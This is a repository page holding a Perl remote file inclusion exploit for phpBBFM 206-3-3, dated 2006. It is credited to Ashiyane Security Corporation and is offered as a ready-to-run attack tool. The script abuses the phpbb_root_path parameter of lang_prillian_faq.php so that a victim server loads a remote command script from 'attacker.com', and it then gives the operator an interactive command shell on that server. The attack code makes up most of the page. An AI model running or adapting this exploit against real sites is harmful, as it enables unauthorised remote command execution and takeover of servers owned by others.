-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy path1001.txt
74 lines (53 loc) · 3.12 KB
/
1001.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
phpBBFM <= 206-3-3 (phpbb_root_path) Remote File Include Exploit
================================================================
#!/usr/bin/perl
#####################################################################################################
# #
# phpBBFM ( Fully Modded Documentation ) #
# #
# Class: Remote File Include Vulnerability #
# #
# Date: 2006/10/15 #
# #
# Remote: Yes #
# #
# Type: high #
# #
# #
#####################################################################################################
use IO::Socket;
use LWP::Simple;
$cmdshell="http://attacker.com/cmd.txt"; # <====== Change This Line With Your Personal Script
print "\n";
print "######################################################################\n";
print "# #\n";
print "# phpBBFM version 206-3-3 Remote File Include Vulnerability #\n";
print "# Bug found By : Ashiyane Security Corporation #\n";
print "# Web Site : www.Ashiyane.ir #\n";
print "# #\n";
print "######################################################################\n";
if (@ARGV < 2)
{
print "\n Usage: Ashiyane.pl [host] [path] ";
print "\n EX : Ashiyane.pl www.victim.com /phpBBFM/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vul="language/lang_english/lang_prillian_faq.php?phpbb_root_path="
print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";
print "<Shell> ";$cmd = <STDIN>;
while($cmd !~ "END") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\n";
while ($raspuns = <$socket>)
{
print $raspuns;
}
print "<Shell> ";
$cmd = <STDIN>;
}